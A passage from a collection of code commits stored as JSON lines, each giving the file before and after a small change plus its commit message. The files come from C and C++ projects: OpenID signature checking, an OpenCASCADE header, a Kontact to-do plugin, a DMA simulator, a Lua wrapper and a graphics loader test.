slist.find(',',p);\n\t string f = (co==string::npos)?slist.substr(p):slist.substr(p,co-p);\n\t kv += f;\n\t kv += ':';\n\t if(f==\"mode\")\n\t\tkv += \"id_res\";\n\t else {\n\t\tf.insert(0,\"openid.\");\n\t\tkv += pin.get_param(f);\n\t }\n\t kv += '\\n';\n\t if(co==string::npos)\n\t\tbreak;\n\t p = co+1;\n\t}\n\tsecret_t secret = assoc->secret();\n\tunsigned int md_len = 0;\n\tunsigned char *md = HMAC(\n\t\tEVP_sha1(),\n\t\t&(secret.front()),secret.size(),\n\t\t(const unsigned char *)kv.data(),kv.length(),\n\t\t0,&md_len);\n\tpout.clear();\n\tif(sig.size()==md_len && !memcmp(&(sig.front()),md,md_len)) {\n\t pout[\"is_valid\"]=\"true\";\n\t pout[\"lifetime\"]=\"60\"; \/* TODO: eventually remove deprecated stuff *\/\n\t}else{\n\t pout[\"is_valid\"]=\"false\";\n\t pout[\"lifetime\"]=\"0\"; \/* TODO: eventually remove deprecated stuff *\/\n\t}\n\tif(pin.has_param(\"openid.invalidate_handle\")) {\n\t string h = pin.get_param(\"openid.invalidate_handle\");\n\t try {\n\t\tassoc_t assoc = retrieve_assoc(h);\n\t }catch(invalid_handle& ih) {\n\t\tpout[\"invalidate_handle\"] = h;\n\t }catch(failed_lookup& fl) { }\n\t}\n }\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 1999-2012 OPEN CASCADE SAS\n\/\/\n\/\/ The content of this file is subject to the Open CASCADE Technology Public\n\/\/ License Version 6.5 (the \"License\"). You may not use the content of this file\n\/\/ except in compliance with the License. Please obtain a copy of the License\n\/\/ at http:\/\/www.opencascade.org and read it completely before using this file.\n\/\/\n\/\/ The Initial Developer of the Original Code is Open CASCADE S.A.S., having its\n\/\/ main offices at: 1, place des Freres Montgolfier, 78280 Guyancourt, France.\n\/\/\n\/\/ The Original Code and all software distributed under the License is\n\/\/ distributed on an \"AS IS\" basis, without warranty of any kind, and the\n\/\/ Initial Developer hereby disclaims all such warranties, including without\n\/\/ limitation, any warranties of merchantability, fitness for a particular\n\/\/ purpose or non-infringement. Please see the License for the specific terms\n\/\/ and conditions governing the rights and limitations under the License.\n\n\/*============================================================================*\/\n\/*==== Titre: Aspect_Handle.hxx *\/\n\/*==== Role : The header file of primitive type \"Handle\" from packages *\/\n\/*==== \"Xw\" & \"WNT\" *\/\n\/*==== Implementation: This is a primitive type implemented with typedef *\/\n\/*============================================================================*\/\n\n#ifndef _Aspect_Handle_HeaderFile\n#define _Aspect_Handle_HeaderFile\n\n#ifdef WNT\n typedef void* HANDLE;\n typedef HANDLE Aspect_Handle;\n#else\n typedef unsigned long Aspect_Handle;\n#endif \/* WNT *\/\n\n#if defined(__cplusplus) || defined(c_plusplus)\n\/*==== Definition de Type ====================================================*\/\n\n#include <Standard_Macro.hxx>\nclass Handle(Standard_Type);\nconst Handle(Standard_Type)& STANDARD_TYPE(Aspect_Handle);\n\n\/*============================================================================*\/\n#endif\n\n#endif \/* _Aspect_Handle_HeaderFile *\/\n<commit_msg>Define OCE_NULL_Aspect_Handle for use in V3d_View.hxx<commit_after>\/\/ Copyright (c) 1999-2012 OPEN CASCADE SAS\n\/\/\n\/\/ The content of this file is subject to the Open CASCADE Technology Public\n\/\/ License Version 6.5 (the \"License\"). You may not use the content of this file\n\/\/ except in compliance with the License. Please obtain a copy of the License\n\/\/ at http:\/\/www.opencascade.org and read it completely before using this file.\n\/\/\n\/\/ The Initial Developer of the Original Code is Open CASCADE S.A.S., having its\n\/\/ main offices at: 1, place des Freres Montgolfier, 78280 Guyancourt, France.\n\/\/\n\/\/ The Original Code and all software distributed under the License is\n\/\/ distributed on an \"AS IS\" basis, without warranty of any kind, and the\n\/\/ Initial Developer hereby disclaims all such warranties, including without\n\/\/ limitation, any warranties of merchantability, fitness for a particular\n\/\/ purpose or non-infringement. Please see the License for the specific terms\n\/\/ and conditions governing the rights and limitations under the License.\n\n\/*============================================================================*\/\n\/*==== Titre: Aspect_Handle.hxx *\/\n\/*==== Role : The header file of primitive type \"Handle\" from packages *\/\n\/*==== \"Xw\" & \"WNT\" *\/\n\/*==== Implementation: This is a primitive type implemented with typedef *\/\n\/*============================================================================*\/\n\n#ifndef _Aspect_Handle_HeaderFile\n#define _Aspect_Handle_HeaderFile\n\n#ifdef WNT\n typedef void* HANDLE;\n typedef HANDLE Aspect_Handle;\n#else\n typedef unsigned long Aspect_Handle;\n#endif \/* WNT *\/\n\n#if defined(__cplusplus) || defined(c_plusplus)\n\/*==== Definition de Type ====================================================*\/\n\n#include <Standard_Macro.hxx>\nclass Handle(Standard_Type);\nconst Handle(Standard_Type)& STANDARD_TYPE(Aspect_Handle);\n\n\/*============================================================================*\/\n#endif\n\n#define OCE_NULL_Aspect_Handle ((Aspect_Handle)NULL)\n\n#endif \/* _Aspect_Handle_HeaderFile *\/\n<|endoftext|>"} {"text":"<commit_before>\/*\n This file is part of Kontact.\n\n Copyright (c) 2003 Cornelius Schumacher <schumacher@kde.org>\n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License along\n with this program; if not, write to the Free Software Foundation, Inc.,\n 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\n As a special exception, permission is given to link this program\n with any edition of Qt, and distribute the resulting executable,\n without including the source code for Qt in the source distribution.\n*\/\n\n#include \"todoplugin.h\"\n#include \"todosummarywidget.h\"\n#include \"korg_uniqueapp.h\"\n#include \"calendarinterface.h\"\n\n#include <kontactinterfaces\/core.h>\n\n#include <libkdepim\/maillistdrag.h>\n#include <libkdepim\/kdepimprotocols.h>\n#include <libkdepim\/kvcarddrag.h>\n#include <libkdepim\/kpimprefs.h>\n\n#include <kcal\/calendarlocal.h>\n#include <kcal\/icaldrag.h>\n\n#include <kaction.h>\n#include <kactioncollection.h>\n#include <kdebug.h>\n#include <kgenericfactory.h>\n#include <kiconloader.h>\n#include <kmessagebox.h>\n#include <kicon.h>\n#include <ktemporaryfile.h>\n\n#include <QWidget>\n#include <QDropEvent>\n#include <QtDBus\/QtDBus>\n\nEXPORT_KONTACT_PLUGIN( TodoPlugin, todo )\n\nTodoPlugin::TodoPlugin( Kontact::Core *core, const QVariantList & )\n : Kontact::Plugin( core, core, \"korganizer\" ), mIface( 0 )\n{\n setComponentData( KontactPluginFactory::componentData() );\n KIconLoader::global()->addAppDir( \"korganizer\" );\n KIconLoader::global()->addAppDir( \"kdepim\" );\n\n KAction *action =\n new KAction( KIcon( \"task-new\" ), i18n( \"New To-do...\" ), this );\n actionCollection()->addAction( \"new_todo\", action );\n action->setShortcut( QKeySequence( Qt::CTRL + Qt::SHIFT + Qt::Key_T ) );\n connect( action, SIGNAL(triggered(bool)), SLOT(slotNewTodo()) );\n insertNewAction( action );\n\n KAction *syncAction =\n new KAction( KIcon( \"view-refresh\" ), i18n( \"Sync To-do List\" ), this );\n connect( action, SIGNAL(triggered(bool)), SLOT(slotSyncTodos()) );\n insertSyncAction( syncAction );\n\n mUniqueAppWatcher = new Kontact::UniqueAppWatcher(\n new Kontact::UniqueAppHandlerFactory<KOrganizerUniqueAppHandler>(), this );\n}\n\nTodoPlugin::~TodoPlugin()\n{\n}\n\nKontact::Summary *TodoPlugin::createSummaryWidget( QWidget *parent )\n{\n return new TodoSummaryWidget( this, parent );\n}\n\nKParts::ReadOnlyPart *TodoPlugin::createPart()\n{\n KParts::ReadOnlyPart *part = loadPart();\n\n if ( !part ) {\n return 0;\n }\n\n mIface = new OrgKdeKorganizerCalendarInterface(\n \"org.kde.korganizer\", \"\/Calendar\", QDBusConnection::sessionBus(), this );\n\n return part;\n}\n\nvoid TodoPlugin::select()\n{\n interface()->showTodoView();\n}\n\nQStringList TodoPlugin::invisibleToolbarActions() const\n{\n QStringList invisible;\n invisible += \"new_event\";\n invisible += \"new_todo\";\n invisible += \"new_journal\";\n\n invisible += \"view_day\";\n invisible += \"view_list\";\n invisible += \"view_workweek\";\n invisible += \"view_week\";\n invisible += \"view_nextx\";\n invisible += \"view_month\";\n invisible += \"view_journal\";\n return invisible;\n}\n\nOrgKdeKorganizerCalendarInterface *TodoPlugin::interface()\n{\n if ( !mIface ) {\n part();\n }\n Q_ASSERT( mIface );\n return mIface;\n}\n\nvoid TodoPlugin::slotNewTodo()\n{\n interface()->openTodoEditor( \"\" );\n}\n\nvoid TodoPlugin::slotSyncTodos()\n{\n QDBusMessage message =\n QDBusMessage::createMethodCall( \"org.kde.kmail\", \"\/Groupware\",\n \"org.kde.kmail.groupware\",\n \"triggerSync\" );\n message << QString( \"Todo\" );\n QDBusConnection::sessionBus().send( message );\n}\n\nbool TodoPlugin::createDBUSInterface( const QString &serviceType )\n{\n if ( serviceType == \"DBUS\/Organizer\" || serviceType == \"DBUS\/Calendar\" ) {\n if ( part() ) {\n return true;\n }\n }\n return false;\n}\n\nbool TodoPlugin::canDecodeMimeData( const QMimeData *mimeData )\n{\n return mimeData->hasText() || KPIM::MailList::canDecode( mimeData ) ||\n KPIM::KVCardDrag::canDecode( mimeData ) || KCal::ICalDrag::canDecode( mimeData );\n}\n\nbool TodoPlugin::isRunningStandalone()\n{\n return mUniqueAppWatcher->isRunningStandalone();\n}\n\nvoid TodoPlugin::processDropEvent( QDropEvent *event )\n{\n const QMimeData *md = event->mimeData();\n\n if ( KPIM::KVCardDrag::canDecode( md ) ) {\n KABC::Addressee::List contacts;\n\n KPIM::KVCardDrag::fromMimeData( md, contacts );\n\n KABC::Addressee::List::Iterator it;\n\n QStringList attendees;\n for ( it = contacts.begin(); it != contacts.end(); ++it ) {\n QString email = (*it).fullEmail();\n if ( email.isEmpty() ) {\n attendees.append( (*it).realName() + \"<>\" );\n } else {\n attendees.append( email );\n }\n }\n\n interface()->openTodoEditor( i18n( \"Meeting\" ), QString(), QStringList(), attendees );\n return;\n }\n\n if ( KCal::ICalDrag::canDecode( event->mimeData() ) ) {\n KCal::CalendarLocal cal( KPIM::KPimPrefs::timeSpec() );\n if ( KCal::ICalDrag::fromMimeData( event->mimeData(), &cal ) ) {\n KCal::Journal::List journals = cal.journals();\n if ( !journals.isEmpty() ) {\n event->accept();\n KCal::Journal *j = journals.first();\n interface()->openTodoEditor(\n i18n( \"Note: %1\", j->summary() ), j->description(), QStringList() );\n return;\n }\n \/\/ else fall through to text decoding\n }\n }\n\n if ( md->hasText() ) {\n QString text = md->text();\n interface()->openTodoEditor( text );\n return;\n }\n\n if ( KPIM::MailList::canDecode( md ) ) {\n KPIM::MailList mails = KPIM::MailList::fromMimeData( md );\n event->accept();\n if ( mails.count() != 1 ) {\n KMessageBox::sorry( core(),\n i18n( \"Drops of multiple mails are not supported.\" ) );\n } else {\n KPIM::MailSummary mail = mails.first();\n QString txt = i18n( \"From: %1\\nTo: %2\\nSubject: %3\", mail.from(), mail.to(), mail.subject() );\n QString uri = KDEPIMPROTOCOL_EMAIL +\n QString::number( mail.serialNumber() ) + '\/' +\n mail.messageId();\n KTemporaryFile tf;\n tf.setAutoRemove( true );\n tf.write( event->encodedData( \"message\/rfc822\" ) );\n interface()->openTodoEditor(\n i18n( \"Mail: %1\", mail.subject() ),\n txt, uri, tf.fileName(), QStringList(), \"message\/rfc822\" );\n tf.close();\n }\n return;\n }\n\n KMessageBox::sorry( core(), i18n( \"Cannot handle drop events of type '%1'.\", event->format() ) );\n}\n\n#include \"todoplugin.moc\"\n<commit_msg>Take incidences, no journals. This way we are able to read the drop event, and create the TODO entry.<commit_after>\/*\n This file is part of Kontact.\n\n Copyright (c) 2003 Cornelius Schumacher <schumacher@kde.org>\n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License along\n with this program; if not, write to the Free Software Foundation, Inc.,\n 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\n As a special exception, permission is given to link this program\n with any edition of Qt, and distribute the resulting executable,\n without including the source code for Qt in the source distribution.\n*\/\n\n#include \"todoplugin.h\"\n#include \"todosummarywidget.h\"\n#include \"korg_uniqueapp.h\"\n#include \"calendarinterface.h\"\n\n#include <kontactinterfaces\/core.h>\n\n#include <libkdepim\/maillistdrag.h>\n#include <libkdepim\/kdepimprotocols.h>\n#include <libkdepim\/kvcarddrag.h>\n#include <libkdepim\/kpimprefs.h>\n\n#include <kcal\/calendarlocal.h>\n#include <kcal\/icaldrag.h>\n\n#include <kaction.h>\n#include <kactioncollection.h>\n#include <kdebug.h>\n#include <kgenericfactory.h>\n#include <kiconloader.h>\n#include <kmessagebox.h>\n#include <kicon.h>\n#include <ktemporaryfile.h>\n\n#include <QWidget>\n#include <QDropEvent>\n#include <QtDBus\/QtDBus>\n\nEXPORT_KONTACT_PLUGIN( TodoPlugin, todo )\n\nTodoPlugin::TodoPlugin( Kontact::Core *core, const QVariantList & )\n : Kontact::Plugin( core, core, \"korganizer\" ), mIface( 0 )\n{\n setComponentData( KontactPluginFactory::componentData() );\n KIconLoader::global()->addAppDir( \"korganizer\" );\n KIconLoader::global()->addAppDir( \"kdepim\" );\n\n KAction *action =\n new KAction( KIcon( \"task-new\" ), i18n( \"New To-do...\" ), this );\n actionCollection()->addAction( \"new_todo\", action );\n action->setShortcut( QKeySequence( Qt::CTRL + Qt::SHIFT + Qt::Key_T ) );\n connect( action, SIGNAL(triggered(bool)), SLOT(slotNewTodo()) );\n insertNewAction( action );\n\n KAction *syncAction =\n new KAction( KIcon( \"view-refresh\" ), i18n( \"Sync To-do List\" ), this );\n connect( action, SIGNAL(triggered(bool)), SLOT(slotSyncTodos()) );\n insertSyncAction( syncAction );\n\n mUniqueAppWatcher = new Kontact::UniqueAppWatcher(\n new Kontact::UniqueAppHandlerFactory<KOrganizerUniqueAppHandler>(), this );\n}\n\nTodoPlugin::~TodoPlugin()\n{\n}\n\nKontact::Summary *TodoPlugin::createSummaryWidget( QWidget *parent )\n{\n return new TodoSummaryWidget( this, parent );\n}\n\nKParts::ReadOnlyPart *TodoPlugin::createPart()\n{\n KParts::ReadOnlyPart *part = loadPart();\n\n if ( !part ) {\n return 0;\n }\n\n mIface = new OrgKdeKorganizerCalendarInterface(\n \"org.kde.korganizer\", \"\/Calendar\", QDBusConnection::sessionBus(), this );\n\n return part;\n}\n\nvoid TodoPlugin::select()\n{\n interface()->showTodoView();\n}\n\nQStringList TodoPlugin::invisibleToolbarActions() const\n{\n QStringList invisible;\n invisible += \"new_event\";\n invisible += \"new_todo\";\n invisible += \"new_journal\";\n\n invisible += \"view_day\";\n invisible += \"view_list\";\n invisible += \"view_workweek\";\n invisible += \"view_week\";\n invisible += \"view_nextx\";\n invisible += \"view_month\";\n invisible += \"view_journal\";\n return invisible;\n}\n\nOrgKdeKorganizerCalendarInterface *TodoPlugin::interface()\n{\n if ( !mIface ) {\n part();\n }\n Q_ASSERT( mIface );\n return mIface;\n}\n\nvoid TodoPlugin::slotNewTodo()\n{\n interface()->openTodoEditor( \"\" );\n}\n\nvoid TodoPlugin::slotSyncTodos()\n{\n QDBusMessage message =\n QDBusMessage::createMethodCall( \"org.kde.kmail\", \"\/Groupware\",\n \"org.kde.kmail.groupware\",\n \"triggerSync\" );\n message << QString( \"Todo\" );\n QDBusConnection::sessionBus().send( message );\n}\n\nbool TodoPlugin::createDBUSInterface( const QString &serviceType )\n{\n if ( serviceType == \"DBUS\/Organizer\" || serviceType == \"DBUS\/Calendar\" ) {\n if ( part() ) {\n return true;\n }\n }\n return false;\n}\n\nbool TodoPlugin::canDecodeMimeData( const QMimeData *mimeData )\n{\n return mimeData->hasText() || KPIM::MailList::canDecode( mimeData ) ||\n KPIM::KVCardDrag::canDecode( mimeData ) || KCal::ICalDrag::canDecode( mimeData );\n}\n\nbool TodoPlugin::isRunningStandalone()\n{\n return mUniqueAppWatcher->isRunningStandalone();\n}\n\nvoid TodoPlugin::processDropEvent( QDropEvent *event )\n{\n const QMimeData *md = event->mimeData();\n\n if ( KPIM::KVCardDrag::canDecode( md ) ) {\n KABC::Addressee::List contacts;\n\n KPIM::KVCardDrag::fromMimeData( md, contacts );\n\n KABC::Addressee::List::Iterator it;\n\n QStringList attendees;\n for ( it = contacts.begin(); it != contacts.end(); ++it ) {\n QString email = (*it).fullEmail();\n if ( email.isEmpty() ) {\n attendees.append( (*it).realName() + \"<>\" );\n } else {\n attendees.append( email );\n }\n }\n\n interface()->openTodoEditor( i18n( \"Meeting\" ), QString(), QStringList(), attendees );\n return;\n }\n\n if ( KCal::ICalDrag::canDecode( event->mimeData() ) ) {\n KCal::CalendarLocal cal( KPIM::KPimPrefs::timeSpec() );\n if ( KCal::ICalDrag::fromMimeData( event->mimeData(), &cal ) ) {\n KCal::Incidence::List incidences = cal.incidences();\n Q_ASSERT(incidences.count());\n if ( !incidences.isEmpty() ) {\n event->accept();\n KCal::Incidence *i = incidences.first();\n interface()->openTodoEditor(\n i18n( \"Note: %1\", i->summary() ), i->description(), QStringList() );\n return;\n }\n \/\/ else fall through to text decoding\n }\n }\n\n if ( md->hasText() ) {\n QString text = md->text();\n interface()->openTodoEditor( text );\n return;\n }\n\n if ( KPIM::MailList::canDecode( md ) ) {\n KPIM::MailList mails = KPIM::MailList::fromMimeData( md );\n event->accept();\n if ( mails.count() != 1 ) {\n KMessageBox::sorry( core(),\n i18n( \"Drops of multiple mails are not supported.\" ) );\n } else {\n KPIM::MailSummary mail = mails.first();\n QString txt = i18n( \"From: %1\\nTo: %2\\nSubject: %3\", mail.from(), mail.to(), mail.subject() );\n QString uri = KDEPIMPROTOCOL_EMAIL +\n QString::number( mail.serialNumber() ) + '\/' +\n mail.messageId();\n KTemporaryFile tf;\n tf.setAutoRemove( true );\n tf.write( event->encodedData( \"message\/rfc822\" ) );\n interface()->openTodoEditor(\n i18n( \"Mail: %1\", mail.subject() ),\n txt, uri, tf.fileName(), QStringList(), \"message\/rfc822\" );\n tf.close();\n }\n return;\n }\n\n KMessageBox::sorry( core(), i18n( \"Cannot handle drop events of type '%1'.\", event->format() ) );\n}\n\n#include \"todoplugin.moc\"\n<|endoftext|>"} {"text":"<commit_before>#include <errno.h>\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <sys\/un.h>\n#include <assert.h>\n#include <stdio.h>\n#include <sys\/mman.h>\n#include <string.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <pthread.h>\n\n#include <portal.h>\n\n#include \"sock_fd.h\"\n#include \"sock_utils.h\"\n\nstatic struct portal p_fd = iport;\nstatic int fd[16];\nstatic unsigned char *buffer[16];\nstatic unsigned long buffer_len[16];\nstatic int size_accum[16]={0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};\n\nextern \"C\" {\n\n void init_pareff(){\n\n pthread_t tid;\n\n struct channel* rc;\n struct channel* wc;\n\n fprintf(stderr, \"BsimDma::init_pareff()\\n\");\n\n rc = &(p_fd.read);\n snprintf(rc->path, sizeof(rc->path), \"fd_sock_rc\");\n\n wc = &(p_fd.write);\n snprintf(wc->path, sizeof(wc->path), \"fd_sock_wc\");\n\n if(pthread_create(&tid, NULL, init_socket, (void*)rc)){\n fprintf(stderr, \"error creating init thread\\n\");\n \/\/exit(1);\n }\n\n if(pthread_create(&tid, NULL, init_socket, (void*)wc)){\n fprintf(stderr, \"error creating init thread\\n\");\n \/\/exit(1);\n }\n\n }\n\n void write_pareff32(unsigned long pref, unsigned long offset, unsigned int data){\n if(buffer_len[pref-1] <= offset)\n fprintf(stderr, \"write_pareff32(pref=%08lx, offset=%08lx) going off the reservation \\n\", pref, offset);\n *(unsigned int *)&buffer[pref-1][offset] = data;\n }\n\n unsigned int read_pareff32(unsigned long pref, unsigned long offset){\n if(buffer_len[pref-1] <= offset)\n fprintf(stderr, \"read_pareff32(pref=%08lx, offset=%08lx) going off the reservation \\n\", pref, offset);\n unsigned int rv = *(unsigned int *)&buffer[pref-1][offset];\n \/\/fprintf(stderr, \"read_pareff32(pref=%08lx, offset=%08lx)=%08x\\n\", pref, offset,rv);\n return rv;\n }\n\n void write_pareff64(unsigned long pref, unsigned long offset, unsigned long long data){\n if(buffer_len[pref-1] <= offset)\n fprintf(stderr, \"write_pareff64(pref=%08lx, offset=%08lx, buffer_len[%ld]=%08lx) going off the reservation \\n\", pref, offset, pref-1, buffer_len[pref-1]);\n *(unsigned long long *)&buffer[pref-1][offset] = data;\n \/\/fprintf(stderr, \"write_pareff64(pref=%08lx, offset=%08lx, data=%016llx)\\n\", pref, offset, data);\n }\n\n unsigned long long read_pareff64(unsigned long pref, unsigned long offset){\n if(buffer_len[pref-1] <= offset)\n fprintf(stderr, \"read_pareff64(pref=%08lx, offset=%08lx) going off the reservation \\n\", pref, offset);\n unsigned long long rv = *(unsigned long long *)&buffer[pref-1][offset];\n \/\/fprintf(stderr, \"read_pareff64(pref=%08lx, offset=%08lx)=%016llx\\n\", pref, offset,rv);\n return rv;\n }\n\n\n unsigned long pareff(unsigned long pref, unsigned long size){\n \/\/fprintf(stderr, \"BsimDma::pareff pref=%ld, size=%08lx size_accum=%08lx\\n\", pref, size, size_accum[pref-1]);\n assert(pref < 16);\n size_accum[pref-1] += size;\n if(size == 0){\n sock_fd_read(p_fd.write.s2, &(fd[pref-1]));\n buffer[pref-1] = (unsigned char *)mmap(0, size_accum[pref-1], PROT_WRITE|PROT_WRITE|PROT_EXEC, MAP_SHARED, fd[pref-1], 0);\n buffer_len[pref-1] = size_accum[pref-1]\/sizeof(unsigned char);\n return buffer[pref-1];\n } else {\n return 0;\n }\n }\n\n}\n<commit_msg>fixing build break. someone must have tweaked the compile flags<commit_after>#include <errno.h>\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <sys\/un.h>\n#include <assert.h>\n#include <stdio.h>\n#include <sys\/mman.h>\n#include <string.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <pthread.h>\n\n#include <portal.h>\n\n#include \"sock_fd.h\"\n#include \"sock_utils.h\"\n\nstatic struct portal p_fd = iport;\nstatic int fd[16];\nstatic unsigned char *buffer[16];\nstatic unsigned long buffer_len[16];\nstatic int size_accum[16]={0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};\n\nextern \"C\" {\n\n void init_pareff(){\n\n pthread_t tid;\n\n struct channel* rc;\n struct channel* wc;\n\n fprintf(stderr, \"BsimDma::init_pareff()\\n\");\n\n rc = &(p_fd.read);\n snprintf(rc->path, sizeof(rc->path), \"fd_sock_rc\");\n\n wc = &(p_fd.write);\n snprintf(wc->path, sizeof(wc->path), \"fd_sock_wc\");\n\n if(pthread_create(&tid, NULL, init_socket, (void*)rc)){\n fprintf(stderr, \"error creating init thread\\n\");\n \/\/exit(1);\n }\n\n if(pthread_create(&tid, NULL, init_socket, (void*)wc)){\n fprintf(stderr, \"error creating init thread\\n\");\n \/\/exit(1);\n }\n\n }\n\n void write_pareff32(unsigned long pref, unsigned long offset, unsigned int data){\n if(buffer_len[pref-1] <= offset)\n fprintf(stderr, \"write_pareff32(pref=%08lx, offset=%08lx) going off the reservation \\n\", pref, offset);\n *(unsigned int *)&buffer[pref-1][offset] = data;\n }\n\n unsigned int read_pareff32(unsigned long pref, unsigned long offset){\n if(buffer_len[pref-1] <= offset)\n fprintf(stderr, \"read_pareff32(pref=%08lx, offset=%08lx) going off the reservation \\n\", pref, offset);\n unsigned int rv = *(unsigned int *)&buffer[pref-1][offset];\n \/\/fprintf(stderr, \"read_pareff32(pref=%08lx, offset=%08lx)=%08x\\n\", pref, offset,rv);\n return rv;\n }\n\n void write_pareff64(unsigned long pref, unsigned long offset, unsigned long long data){\n if(buffer_len[pref-1] <= offset)\n fprintf(stderr, \"write_pareff64(pref=%08lx, offset=%08lx, buffer_len[%ld]=%08lx) going off the reservation \\n\", pref, offset, pref-1, buffer_len[pref-1]);\n *(unsigned long long *)&buffer[pref-1][offset] = data;\n \/\/fprintf(stderr, \"write_pareff64(pref=%08lx, offset=%08lx, data=%016llx)\\n\", pref, offset, data);\n }\n\n unsigned long long read_pareff64(unsigned long pref, unsigned long offset){\n if(buffer_len[pref-1] <= offset)\n fprintf(stderr, \"read_pareff64(pref=%08lx, offset=%08lx) going off the reservation \\n\", pref, offset);\n unsigned long long rv = *(unsigned long long *)&buffer[pref-1][offset];\n \/\/fprintf(stderr, \"read_pareff64(pref=%08lx, offset=%08lx)=%016llx\\n\", pref, offset,rv);\n return rv;\n }\n\n\n unsigned long pareff(unsigned long pref, unsigned long size){\n \/\/fprintf(stderr, \"BsimDma::pareff pref=%ld, size=%08lx size_accum=%08lx\\n\", pref, size, size_accum[pref-1]);\n assert(pref < 16);\n size_accum[pref-1] += size;\n if(size == 0){\n sock_fd_read(p_fd.write.s2, &(fd[pref-1]));\n buffer[pref-1] = (unsigned char *)mmap(0, size_accum[pref-1], PROT_WRITE|PROT_WRITE|PROT_EXEC, MAP_SHARED, fd[pref-1], 0);\n buffer_len[pref-1] = size_accum[pref-1]\/sizeof(unsigned char);\n return (unsigned long)buffer[pref-1];\n } else {\n return 0;\n }\n }\n\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"pixelboost\/script\/luaManager.h\"\n\nextern \"C\"\n{\n#include \"pixelboost\/external\/lua\/lua.h\"\n#include \"pixelboost\/external\/lua\/lauxlib.h\"\n#include \"pixelboost\/external\/lua\/lualib.h\"\n}\n\nusing namespace pixelboost;\n\nLuaManager::LuaManager()\n{\n _State = luaL_newstate();\n luaL_openlibs(_State);\n}\n\nLuaManager::~LuaManager()\n{\n lua_close(_State);\n}\n\nvoid LuaManager::Open(const std::string& filename)\n{\n if (luaL_loadfile(_State, filename.c_str()) || lua_pcall(_State, 0, 0, 0))\n {\n printf(\"Can't open file: %s\", lua_tostring(_State, -1));\n }\n}\n<commit_msg>Use provided lua.hpp<commit_after>#include \"pixelboost\/script\/luaManager.h\"\n#include \"pixelboost\/external\/lua\/lua.hpp\"\n\nusing namespace pixelboost;\n\nLuaManager::LuaManager()\n{\n _State = luaL_newstate();\n luaL_openlibs(_State);\n}\n\nLuaManager::~LuaManager()\n{\n lua_close(_State);\n}\n\nvoid LuaManager::Open(const std::string& filename)\n{\n if (luaL_loadfile(_State, filename.c_str()) || lua_pcall(_State, 0, 0, 0))\n {\n printf(\"Can't open file: %s\", lua_tostring(_State, -1));\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n\n Graphics File Loader: a test program for csgfxldr library\n Copyright (C) 2000 Andrew Zabolotny <bit@eltech.ru>\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Library General Public\n License as published by the Free Software Foundation; either\n version 2 of the License, or (at your option) any later version.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Library General Public License for more details.\n\n You should have received a copy of the GNU Library General Public\n License along with this library; if not, write to the Free\n Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n\n*\/\n\n#define SYSDEF_PATH\n#define SYSDEF_GETOPT\n#include \"sysdef.h\"\n#include \"csgfxldr\/csimage.h\"\n#include \"csgfxldr\/pngsave.h\"\n\n#include <string.h>\n\nchar *programversion = \"0.0.1\";\nchar *programname;\n\n\/*\n\n NOTE: If your Losing Operating System {tm} (R) does not have getopt_long,\n please use the one in support\/gnu instead. Please don't comment out blocks\n of code, dont #ifdef and so on. It is ugly.\n\n*\/\n\nstatic struct option long_options[] =\n{\n {\"help\", no_argument, 0, 'h'},\n {\"display\", optional_argument, 0, 'D'},\n {\"dither\", no_argument, 0, 'd'},\n {\"scale\", required_argument, 0, 's'},\n {\"mipmap\", required_argument, 0, 'm'},\n {\"transp\", required_argument, 0, 't'},\n {\"paletted\", no_argument, 0, '8'},\n {\"truecolor\", no_argument, 0, 'c'},\n {\"verbose\", no_argument, 0, 'v'},\n {\"version\", no_argument, 0, 'V'},\n {0, no_argument, 0, 0}\n};\n\nstatic struct\n{\n bool verbose;\n bool save;\n bool display;\n bool dither;\n bool paletted;\n bool truecolor;\n int scaleX, scaleY;\n int displayW, displayH;\n int mipmap;\n bool transp;\n} opt =\n{\n false,\n true,\n false,\n false,\n false,\n false,\n 0, 0,\n 79, 24,\n -1,\n false\n};\n\/\/ Dont move inside the struct!\nstatic RGBPixel transpcolor;\n\nstatic int display_help ()\n{\n printf (\"Crystal Space Graphics File Loader test application v%s\\n\", programversion);\n printf (\"Copyright (C) 2000 Andrew Zabolotny\\n\\n\");\n printf (\"Usage: %s {option\/s} [image file] [...]\\n\\n\", programname);\n printf (\" -D --display{=#,#} Display the image in ASCII format :-)\\n\");\n printf (\" -d --dither Apply Floyd-Steinberg dithering when reducing to 8 bpp\\n\");\n printf (\" -s --scale=#,# Re-scale the image to given size #\\n\");\n printf (\" -m --mipmap=# Create mipmap level # (=0,1,2,3) from image\\n\");\n printf (\" -t --transp=#,#,# Treat color (R,G,B) as transparent\\n\");\n printf (\" -8 --paletted Convert image to 8 bits-per-pixel paletted format\\n\");\n printf (\" -c --truecolor Convert image to truecolor format\\n\");\n printf (\" -h --help Display this help text\\n\");\n printf (\" -v --verbose Comment on what's happening\\n\");\n printf (\" -V --version Display program version\\n\");\n return 1;\n}\n\n#if 